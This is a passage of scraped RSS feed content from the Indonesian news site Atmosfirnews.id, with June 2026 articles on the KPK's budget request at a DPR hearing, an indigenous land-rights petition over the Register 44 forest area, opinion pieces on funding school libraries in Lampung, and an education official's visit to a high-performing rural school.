Menghadapi penurunan itu, KPK mengajukan tambahan anggaran. Tapi nominalnya, menurut Setyo, disusun dengan sangat hati-hati: hanya Rp762,30 miliar. Ia bahkan mengutip arahan Presiden Prabowo Subianto saat konsolidasi program Makan Bergizi Gratis di Sentul pada 3 Juni 2026, di mana Presiden menyebut akan memenuhi “berapa pun yang dibutuhkan” oleh lembaga penegak hukum.

Justru di titik inilah suasana rapat berubah. Sahroni, yang memimpin jalannya rapat, langsung memotong dengan nada heran.

“Jadi Bapak cuma ngajuin Rp762 (miliar) nih ya?” tanya Sahroni.

Setyo menjelaskan, usulan itu memang disusun sesuai kebutuhan riil, bukan asal mengajukan angka besar. Dana tersebut akan dialokasikan untuk unit kerja penindakan, pencegahan, koordinasi supervisi, hingga pendidikan peran serta masyarakat.

“Kami tidak muluk-muluk, kami sesuaikan dengan kebutuhan saja,” tegas Setyo.

Namun Sahroni tampaknya tidak puas dengan kehati-hatian itu. Politikus Partai NasDem ini justru menyarankan KPK untuk berani memasang angka yang jauh lebih besar, mengingat Presiden sendiri sudah memberi sinyal dukungan penuh.

“Pak, ajuin Rp5 T, Pak! Tanggung, Pak! Nanti kalau Pak Presiden nggak kasih, ah kita videonya kita buka terus nanti. Supaya Pak Presiden ngasih buat KPK setara dengan Kejaksaan nanti anggarannya. Setuju nggak, kita teman-teman?” ujar Sahroni, yang disambut respons dari anggota komisi lain di ruangan.

Meski didorong-dorong untuk meminta lebih, Setyo tetap pada posisinya saat itu. Ia menegaskan bahwa usulan Rp762,30 miliar sudah melalui perhitungan matang dan diyakini cukup untuk menutupi kebutuhan KPK jika benar-benar disetujui.

“Jadi harapannya dengan penambahan yang Rp762 (miliar) itu, ini sudah bisa mengakomodir,” pungkas Setyo.

Catatan update: setelah rapat tersebut, KPK ternyata melakukan penyesuaian. Mengutip berbagai laporan media nasional pada Kamis (18/6/2026), KPK menaikkan usulan tambahan anggarannya dari Rp762,30 miliar menjadi Rp989 miliar, setelah mendapat masukan dan dorongan langsung dari anggota Komisi III DPR dalam rapat lanjutan. Setyo menyebut kenaikan ini muncul setelah ia berkomunikasi intensif dengan Biro Keuangan dan Sekretaris Jenderal KPK di tengah jalannya rapat.

Artikel KPK CUMA MINTA RP762 MILIAR, SAHRONI LANGSUNG GERAM: “PAK, AJUIN RP5 TRILIUN, TANGGUNG!” pertama kali tampil pada Atmosfirnews.id.

]]>
Di Hadapan DPR, BPBR Desak Pengembalian Tanah Adat dan Pengakuan Wilayah Adat dalam RUU Masyarakat Adat https://atmosfirnews.id/di-hadapan-dpr-bpbr-desak-pengembalian-tanah-adat-dan-pengakuan-wilayah-adat-dalam-ruu-masyarakat-adat/ Fri, 19 Jun 2026 06:23:05 +0000 https://atmosfirnews.id/?p=6360 JAKARTA, AtmosfirNews – Tim Tujuh Belas (T-17) Marga Buay Pemuka Bangsa Raja (BPBR), Negeri Besar, Kabupaten Way Kanan, Lampung, mendesak agar Rancangan Undang-Undang (RUU)...

Artikel Di Hadapan DPR, BPBR Desak Pengembalian Tanah Adat dan Pengakuan Wilayah Adat dalam RUU Masyarakat Adat pertama kali tampil pada Atmosfirnews.id.

]]>
JAKARTA, AtmosfirNews – Tim Tujuh Belas (T-17) Marga Buay Pemuka Bangsa Raja (BPBR), Negeri Besar, Kabupaten Way Kanan, Lampung, mendesak agar Rancangan Undang-Undang (RUU) Masyarakat Adat memberikan pengakuan yang lebih tegas terhadap wilayah adat sebagai salah satu unsur utama masyarakat hukum adat.

Desakan tersebut disampaikan dalam Rapat Dengar Pendapat Umum (RDPU) bersama DPR RI terkait pembahasan RUU Masyarakat Adat, Kamis (19/6/2026).

Dalam paparannya, Tim T-17 menekankan bahwa pengakuan terhadap masyarakat adat tidak hanya sebatas keberadaan komunitas dan lembaga adat, tetapi juga harus mencakup pengakuan atas wilayah adat yang menjadi sumber kehidupan masyarakat secara turun-temurun.

Liaison Officer (LO) Tim T-17 Marga Buay Pemuka Bangsa Raja, Ardho Adam Saputra SE, mengatakan BPBR hingga kini masih memenuhi unsur-unsur sebagai masyarakat hukum adat sebagaimana diatur dalam konstitusi dan putusan Mahkamah Konstitusi.

“Keberadaan masyarakat adat kami masih hidup dan berkembang. Kami memiliki lembaga adat, penyimbang marga, balai adat, norma hukum adat, hingga wilayah adat yang secara historis dapat dibuktikan,” kata Ardho.

Ia menjelaskan, unsur-unsur tersebut meliputi keberadaan masyarakat yang memiliki ikatan kelompok, pranata pemerintahan adat, harta kekayaan dan benda-benda adat, perangkat norma hukum adat, serta wilayah adat yang jelas.

Dalam dokumen yang dipaparkan, BPBR memiliki wilayah adat yang berbatasan langsung dengan Kabupaten Lampung Utara, Tulang Bawang Barat, Mesuji, serta wilayah adat Marga Buay Pemuka Pangeran Ilir di Kabupaten Way Kanan.

Meski demikian, masyarakat adat setempat mengaku tidak lagi memiliki tanah ulayat karena sebagian telah dilepaskan kepada perusahaan, sementara sebagian lainnya dikuasai negara melalui penetapan kawasan hutan register.

Salah satu persoalan yang menjadi perhatian adalah perluasan Kawasan Hutan Register 44 Sungai Muara Dua. Berdasarkan kajian Tim T-17, luas kawasan tersebut yang semula tercatat 17.800 hektare kini menjadi 32.325 hektare atau bertambah sekitar 14.525 hektare.

Menurut Tim T-17, tambahan lahan seluas 14.525 hektare tersebut berada di atas tanah adat Marga Buay Pemuka Bangsa Raja yang tidak pernah dilepaskan maupun diserahkan kepada pemerintah untuk dijadikan kawasan hutan register.

“Masyarakat Adat Marga Buay Pemuka Bangsa Raja tidak pernah menyediakan atau melepaskan tanah marga seluas 14.525 hektare tersebut kepada pemerintah. Karena itu, status tanah tersebut harus ditinjau kembali,” ujar Ardho.

Ardho juga mengacu pada Putusan Mahkamah Konstitusi Nomor 35/PUU-X/2012 yang menegaskan bahwa hutan adat bukan lagi bagian dari hutan negara, melainkan termasuk hutan hak milik masyarakat adat.

Berdasarkan putusan tersebut, ia menilai lahan yang masuk dalam perluasan Register 44 seharusnya dikembalikan kepada Masyarakat Adat Marga Buay Pemuka Bangsa Raja karena tidak pernah ada proses pelepasan hak sebagaimana dilakukan marga-marga lain saat menyediakan lahan untuk kawasan hutan larangan pada masa lalu.

Selain meminta penguatan substansi dalam RUU Masyarakat Adat, Tim T-17 juga mengusulkan sejumlah langkah penyelesaian. Di antaranya mendesak pemerintah menunda perpanjangan izin pemanfaatan lahan yang masih bersengketa, mengoptimalkan implementasi Putusan MK Nomor 35 Tahun 2012, serta membuka skema penyelesaian berbasis kemitraan dan pembagian manfaat apabila terdapat pihak yang tetap memanfaatkan wilayah tersebut.

Dalam forum tersebut, Ardho turut menyampaikan harapan masyarakat adat BPBR agar negara memberikan keadilan atas hak-hak adat yang selama ini diperjuangkan.

“Kembalikan hak tanah adat Buay Pemuka Bangsa Raja demi rasa keadilan dan kesejahteraan masyarakat adat BPBR. Jangan kami masyarakat adat mati di lumbung padi dan hanya menjadi penonton dalam keserakahan ekonomi oligarki dan mafia tanah. Kami meminta keadilan dan tentu kami sadar bahwa melepaskan status lahan negara tidaklah mudah namun di forum ini kami mencari solusi,” tegas Ardho.

Menurut Tim T-17, keberadaan RUU Masyarakat Adat harus menjadi instrumen hukum yang mampu memberikan kepastian terhadap pengakuan masyarakat adat, termasuk perlindungan hak-hak atas tanah ulayat yang selama ini menjadi bagian dari identitas dan keberlangsungan kehidupan masyarakat adat di Indonesia.(*)

Artikel Di Hadapan DPR, BPBR Desak Pengembalian Tanah Adat dan Pengakuan Wilayah Adat dalam RUU Masyarakat Adat pertama kali tampil pada Atmosfirnews.id.

]]>
Dana BOS dan PR Literasi Lampung: Saatnya Perpustakaan Menjadi Prioritas https://atmosfirnews.id/dana-bos-dan-pr-literasi-lampung-saatnya-perpustakaan-menjadi-prioritas/ Thu, 18 Jun 2026 11:32:58 +0000 https://atmosfirnews.id/?p=6357 BANDAR LAMPUNG, Atmofirnews – Ketika membahas kualitas pendidikan, perhatian sering tertuju pada ruang kelas, kurikulum, guru, atau hasil ujian. Padahal ada satu ruang yang...

Artikel Dana BOS dan PR Literasi Lampung: Saatnya Perpustakaan Menjadi Prioritas pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, Atmofirnews – Ketika membahas kualitas pendidikan, perhatian sering tertuju pada ruang kelas, kurikulum, guru, atau hasil ujian. Padahal ada satu ruang yang sering luput dari perhatian, tetapi sesungguhnya menentukan masa depan pendidikan, yaitu perpustakaan.

Karena itu menarik ketika pemerintah kembali menegaskan bahwa Dana Bantuan Operasional Sekolah (BOS) dapat digunakan untuk pengembangan perpustakaan. Di antara sembilan komponen utama penggunaan Dana BOS, pengembangan perpustakaan bahkan ditempatkan sebagai salah satu prioritas penting, mulai dari pengadaan buku teks, buku nonteks, hingga penyediaan bahan bacaan digital.

 

Pertanyaannya, sudahkah kesempatan itu benar-benar dimanfaatkan?

 

Di Lampung, jawabannya belum sepenuhnya.

Masih banyak sekolah, baik SD, SMP, SMA maupun madrasah, yang belum memiliki perpustakaan yang memadai. Bahkan tidak sedikit yang belum memiliki perpustakaan sama sekali.

Ironisnya, pada saat yang sama kita sering mengeluhkan rendahnya minat baca siswa.

Padahal minat baca tidak tumbuh dari ruang kosong.

Minat baca tumbuh ketika anak memiliki akses terhadap bahan bacaan yang sesuai dengan rasa ingin tahunya.

 

Buku Paket Tidak Cukup

Selama ini perpustakaan sekolah sering dipersepsikan sekadar tempat menyimpan buku pelajaran.

Akibatnya, rak-rak perpustakaan dipenuhi buku paket yang fungsinya lebih dekat kepada pelengkap proses belajar mengajar dibanding sumber eksplorasi pengetahuan.

Padahal kebutuhan membaca siswa jauh lebih beragam.

Ada siswa yang tertarik pada ekonomi dan bisnis.

Ada yang menyukai teknologi, robotika, kecerdasan buatan, dan pemrograman.

Ada yang gemar membaca seni, sastra, sejarah, olahraga, astronomi, hingga kewirausahaan.

Jika seluruh bahan bacaan yang tersedia hanya buku pelajaran, maka sekolah sesungguhnya sedang membatasi kesempatan siswa untuk menemukan minat dan potensinya sendiri.

Kita tidak bisa berharap lahir generasi inovatif jika akses terhadap pengetahuan yang beragam masih sangat terbatas.

 

Literasi Adalah Pondasi SDM

Lampung saat ini sedang menikmati berbagai capaian pendidikan yang membanggakan.

Hasil SNBT 2026 menunjukkan semakin banyak siswa Lampung yang mampu bersaing masuk perguruan tinggi negeri.

Jumlah sekolah dengan tingkat kelulusan SNBT tinggi juga terus bertambah.

Namun keberhasilan itu tidak boleh membuat kita berhenti pada capaian akademik semata.

Sebab kualitas sumber daya manusia tidak hanya ditentukan oleh kemampuan menjawab soal ujian.

Ia juga ditentukan oleh kemampuan membaca, memahami informasi, berpikir kritis, dan belajar secara mandiri sepanjang hayat.

Di sinilah perpustakaan memainkan peran yang tidak tergantikan.

Perpustakaan bukan sekadar ruangan berisi buku.

Ia adalah pusat sumber informasi, pusat pembelajaran, dan ruang tumbuhnya budaya intelektual di sekolah.

 

Saatnya Dikelola Secara Profesional

Persoalan lain yang sering terabaikan adalah pengelolaan perpustakaan.

Banyak sekolah masih menempatkan perpustakaan sebagai tugas tambahan yang dijalankan siapa saja yang tersedia.

Padahal regulasi telah memberikan arah yang jelas.

Permendiknas Nomor 25 Tahun 2008, yang kini diperkuat melalui Permendikdasmen Nomor 21 Tahun 2025, menegaskan bahwa perpustakaan sekolah harus dikelola oleh sumber daya manusia yang memiliki kompetensi di bidang perpustakaan, baik lulusan ilmu perpustakaan maupun tenaga yang memiliki sertifikat kompetensi.

Ketentuan tersebut bukan formalitas administratif.

Mengelola perpustakaan modern membutuhkan kemampuan khusus.

Mulai dari pengelolaan koleksi, klasifikasi buku, layanan informasi, pengembangan literasi digital, hingga pemanfaatan teknologi informasi.

Perpustakaan yang dikelola secara profesional tidak hanya meminjamkan buku.

Ia mampu membangun budaya membaca.

Ia mampu menghubungkan siswa dengan pengetahuan yang mereka butuhkan.

Ia mampu menjadi jantung kehidupan intelektual sekolah.

Investasi yang Dampaknya Jangka Panjang

Di tengah berbagai kebutuhan pendidikan, pengembangan perpustakaan sering dianggap bukan prioritas mendesak.

Padahal justru sebaliknya.

Investasi pada perpustakaan merupakan investasi jangka panjang yang dampaknya dapat dirasakan puluhan tahun kemudian.

Sekolah yang memiliki perpustakaan hidup cenderung melahirkan siswa yang memiliki rasa ingin tahu lebih tinggi, kemampuan literasi yang lebih baik, dan daya saing yang lebih kuat.

Karena itu, ketika Dana BOS menyediakan ruang untuk pengembangan perpustakaan, kesempatan tersebut seharusnya tidak hanya dipandang sebagai pos belanja buku.

Ia harus dilihat sebagai peluang membangun fondasi kualitas sumber daya manusia Lampung.

Jika Lampung ingin melahirkan lebih banyak siswa berprestasi, lebih banyak inovator, lebih banyak peneliti, lebih banyak wirausahawan muda, maka pekerjaan itu tidak cukup dimulai dari ruang kelas.

Ia harus dimulai dari rak-rak buku yang memberi anak-anak kesempatan untuk mengenal dunia yang lebih luas.

Sebab bangsa yang besar tidak hanya dibangun oleh sekolah yang memiliki gedung megah.

Bangsa yang besar dibangun oleh generasi yang gemar membaca, terbiasa berpikir, dan memiliki akses terhadap pengetahuan yang tak terbatas.

Dan semua itu biasanya dimulai dari sebuah perpustakaan.

Artikel Dana BOS dan PR Literasi Lampung: Saatnya Perpustakaan Menjadi Prioritas pertama kali tampil pada Atmosfirnews.id.

]]>
Sukses SNBT, Saatnya Sekolah Lampung Bangun Perpustakaan https://atmosfirnews.id/sukses-snbt-saatnya-sekolah-lampung-bangun-perpustakaan/ https://atmosfirnews.id/sukses-snbt-saatnya-sekolah-lampung-bangun-perpustakaan/#respond Wed, 17 Jun 2026 06:42:33 +0000 https://atmosfirnews.id/?p=6354 BANDAR LAMPUNG, Atmosfirnews – Lampung sedang merayakan banyak kabar baik dari dunia pendidikan. Hasil SNBT meningkat. Semakin banyak siswa diterima di perguruan tinggi negeri....

Artikel Sukses SNBT, Saatnya Sekolah Lampung Bangun Perpustakaan pertama kali tampil pada Atmosfirnews.id.

]]>
BANDAR LAMPUNG, Atmosfirnews – Lampung sedang merayakan banyak kabar baik dari dunia pendidikan.

Hasil SNBT meningkat. Semakin banyak siswa diterima di perguruan tinggi negeri. Sekolah-sekolah unggulan mulai menunjukkan performa yang membanggakan.

Namun ada satu pertanyaan yang layak diajukan. Apakah prestasi itu sudah ditopang oleh budaya membaca yang kuat?

Pertanyaan ini penting karena kualitas pendidikan tidak hanya diukur dari jumlah siswa yang lolos seleksi perguruan tinggi. Pendidikan yang kuat dibangun di atas kebiasaan belajar yang kuat, dan hampir semua kebiasaan belajar berawal dari membaca.

Di sinilah menariknya salah satu komponen Dana BOS yang sering luput dari perhatian, yaitu pengembangan perpustakaan.

Dari sembilan komponen penggunaan Dana BOS, pengembangan perpustakaan mungkin bukan yang paling besar nilainya. Namun dampaknya bisa menjadi yang paling panjang.

Sekolah bisa membangun ruang kelas baru setiap tahun. Sekolah bisa membeli komputer baru setiap tahun. Tetapi kemampuan membaca yang rendah akan terus membatasi kualitas pembelajaran di semua mata pelajaran.

 

Paradoks Pendidikan

Indonesia selama bertahun-tahun menghadapi paradoks. Angka partisipasi sekolah terus meningkat. Lulusan terus bertambah.

Namun berbagai survei literasi menunjukkan kemampuan membaca dan memahami informasi masih menjadi tantangan besar.

Akibatnya banyak siswa mampu membaca teks, tetapi belum tentu memahami maknanya secara mendalam.

Padahal kemampuan memahami bacaan merupakan fondasi hampir seluruh proses belajar.

Matematika membutuhkan kemampuan membaca soal. Sains membutuhkan kemampuan membaca konsep. Sejarah membutuhkan kemampuan membaca konteks.

Bahkan SNBT yang kini menjadi jalur utama masuk perguruan tinggi semakin banyak menguji kemampuan bernalar melalui bacaan.

Artinya, kemenangan sesungguhnya bukan ketika siswa berhasil menghafal jawaban. Melainkan ketika mereka mampu memahami informasi dan berpikir kritis.

 

Perpustakaan Adalah Infrastruktur SDM

Karena itu perpustakaan seharusnya dipandang sebagai infrastruktur pembangunan manusia.

Selama ini ketika berbicara infrastruktur, perhatian sering tertuju pada jalan, gedung, atau laboratorium.

Padahal perpustakaan juga merupakan infrastruktur.

Bedanya, yang dibangun bukan mobilitas barang, melainkan mobilitas pengetahuan.

Masalahnya, banyak perpustakaan sekolah masih berfungsi sebagai tempat penyimpanan buku, bukan pusat aktivitas belajar.

Ruangannya ada. Rak bukunya ada. Tetapi ekosistem membacanya belum tumbuh.

 

Sekolah Unggulan Harus Memimpin

Karena itu sekolah-sekolah unggulan Lampung perlu menjadi pelopor. Bukan hanya unggul dalam hasil SNBT, tetapi juga unggul dalam budaya literasi.

Salah satu langkah paling konkret adalah memastikan perpustakaan dikelola oleh tenaga yang memiliki kompetensi khusus dan sertifikasi kepustakawanan.

Pustakawan modern bukan penjaga buku. Mereka adalah manajer literasi.

Mereka merancang program membaca, menghubungkan siswa dengan sumber pengetahuan, serta membantu sekolah membangun budaya belajar yang berkelanjutan.

Jika sekolah membutuhkan guru profesional untuk mengajar matematika dan fisika, maka perpustakaan juga membutuhkan tenaga profesional untuk mengelola literasi.

 

Investasi yang Dampaknya Puluhan Tahun

Dana BOS memang dapat digunakan untuk membeli buku. Tetapi investasi terbaik sesungguhnya bukan hanya pada bukunya. Investasi terbaik adalah memastikan buku tersebut dibaca. Sebab rak yang penuh buku tidak otomatis melahirkan pembaca.

Yang melahirkan pembaca adalah budaya. Dan budaya selalu lahir dari pengelolaan yang serius.

Karena itu, ketika Lampung mulai menunjukkan kemajuan dalam dunia pendidikan, mungkin sudah saatnya perhatian tidak hanya tertuju pada berapa banyak siswa yang lolos SNBT.

Pertanyaan yang lebih penting adalah berapa banyak sekolah yang benar-benar menjadikan perpustakaan sebagai jantung pembelajaran?

Sebab sekolah unggul menghasilkan lulusan unggul. Tetapi perpustakaan yang hidup menghasilkan generasi pembelajar.

Dan itulah pondasi yang akan menentukan kualitas SDM Lampung jauh setelah euforia hasil SNBT berlalu.**

Artikel Sukses SNBT, Saatnya Sekolah Lampung Bangun Perpustakaan pertama kali tampil pada Atmosfirnews.id.

]]>
https://atmosfirnews.id/sukses-snbt-saatnya-sekolah-lampung-bangun-perpustakaan/feed/ 0
Thomas Amirico Kunjungi SMAN 1 Tegineneng, Angkat Capaian Tinggi Lolos PTN 2026 https://atmosfirnews.id/thomas-amirico-kunjungi-sman-1-tegineneng-angkat-capaian-tinggi-lolos-ptn-2026/ Tue, 16 Jun 2026 10:21:09 +0000 https://atmosfirnews.id/?p=6350 Pesawaran, di saat sebagian besar pejabat menikmati hari libur, Kepala Dinas Pendidikan dan Kebudayaan Provinsi Lampung Thomas Amirico justru memilih menempuh perjalanan menuju Kecamatan...

Artikel Thomas Amirico Kunjungi SMAN 1 Tegineneng, Angkat Capaian Tinggi Lolos PTN 2026 pertama kali tampil pada Atmosfirnews.id.

]]>
Pesawaran, di saat sebagian besar pejabat menikmati hari libur, Kepala Dinas Pendidikan dan Kebudayaan Provinsi Lampung Thomas Amirico justru memilih menempuh perjalanan menuju Kecamatan Tegineneng, Kabupaten Pesawaran, Selasa (16/6/2026).

Pilihan itu bukan tanpa alasan. Di tengah pelaksanaan Sistem Penerimaan Murid Baru (SPMB) 2026, Thomas sengaja datang ke SMAN 1 Tegineneng, sebuah sekolah yang berada jauh dari pusat kota namun berhasil menorehkan capaian yang membuat dunia pendidikan Lampung menoleh.

Sebanyak 99,42 persen lulusan sekolah tersebut berhasil lolos ke perguruan tinggi negeri melalui Seleksi Nasional Berdasarkan Tes (SNBT) 2026.

Angka yang tidak hanya menjadi kebanggaan sekolah, tetapi sekaligus mematahkan anggapan bahwa prestasi besar hanya lahir dari sekolah-sekolah unggulan di perkotaan.

Didampingi Kepala Cabang Dinas Pendidikan Wilayah II Rodi Hayani Samsun, Thomas disambut Kepala SMAN 1 Tegineneng Meri Juwita beserta jajaran guru dan tenaga kependidikan.

Dalam kunjungannya, Thomas mengaku sengaja memanfaatkan hari libur untuk melihat langsung sekolah yang dinilainya berhasil membuktikan bahwa kualitas pendidikan dapat tumbuh di mana saja.

“Prestasi ini tidak lahir dalam semalam. Ada kerja keras, disiplin, komitmen, dan pengorbanan yang dilakukan kepala sekolah, guru, siswa hingga orang tua. Karena itu kami datang untuk memberikan penghormatan atas capaian luar biasa ini,” kata Thomas.

Menurutnya, keberhasilan SMAN 1 Tegineneng menjadi bukti bahwa sekolah di daerah memiliki peluang yang sama untuk bersaing apabila dikelola dengan baik dan didukung budaya belajar yang kuat.

“SMAN 1 Tegineneng membuktikan bahwa sekolah di kabupaten bahkan daerah yang jauh dari pusat pemerintahan pun mampu bersaing. Ini pesan penting bahwa kualitas pendidikan Lampung tidak hanya tumbuh di kota, tetapi juga berkembang di daerah-daerah,” ujarnya.

Kunjungan tersebut juga membawa pesan yang lebih luas. Kehadiran Thomas di sekolah yang berada di wilayah kabupaten menunjukkan bahwa perhatian Dinas Pendidikan dan Kebudayaan Provinsi Lampung tidak hanya tertuju pada sekolah-sekolah besar di perkotaan.

Bagi Thomas, kemajuan pendidikan Lampung tidak dapat dibangun dengan pendekatan yang hanya berfokus pada pusat kota. Potensi dan prestasi juga tumbuh di sekolah-sekolah yang berada di daerah, bahkan di wilayah yang selama ini relatif jauh dari sorotan publik.

“Kami ingin memastikan tidak ada perbedaan perhatian antara sekolah di kota maupun di daerah. Semua sekolah memiliki kesempatan yang sama untuk maju dan menunjukkan prestasi. SMAN 1 Tegineneng menjadi bukti bahwa sekolah di kabupaten bahkan pelosok Lampung mampu bersaing dan menghasilkan lulusan berkualitas,” tegasnya.

Menurut Thomas, prestasi tidak mengenal batas geografis. Karena itu, pemerintah harus hadir memberikan dukungan dan apresiasi yang sama kepada seluruh sekolah tanpa memandang lokasi.

Di sela kunjungan tersebut, Thomas juga meninjau pelaksanaan SPMB 2026 jalur reguler. Ia meminta seluruh satuan pendidikan menjaga integritas serta memastikan proses penerimaan murid baru berlangsung transparan, objektif, dan sesuai ketentuan.

“SPMB harus berjalan bersih dan transparan. Semua calon murid harus mendapatkan kesempatan yang sama. Jangan sampai ada ruang yang mencederai kepercayaan masyarakat terhadap dunia pendidikan,” tegasnya.

Thomas berharap keberhasilan SMAN 1 Tegineneng menjadi inspirasi bagi sekolah-sekolah lain di Lampung untuk terus meningkatkan kualitas pembelajaran dan memperluas akses lulusan menuju perguruan tinggi negeri.

Kunjungan di hari libur itu pada akhirnya tidak hanya menjadi bentuk penghargaan atas sebuah prestasi. Lebih dari itu, menjadi penegasan bahwa pembangunan pendidikan Lampung tidak boleh hanya berputar di pusat kota.

Dari Tegineneng, muncul pesan kuat bahwa sekolah-sekolah di daerah dan pelosok pun mampu berdiri sejajar, bersaing, dan melahirkan prestasi hingga tingkat nasional.n

Artikel Thomas Amirico Kunjungi SMAN 1 Tegineneng, Angkat Capaian Tinggi Lolos PTN 2026 pertama kali tampil pada Atmosfirnews.id.

]]>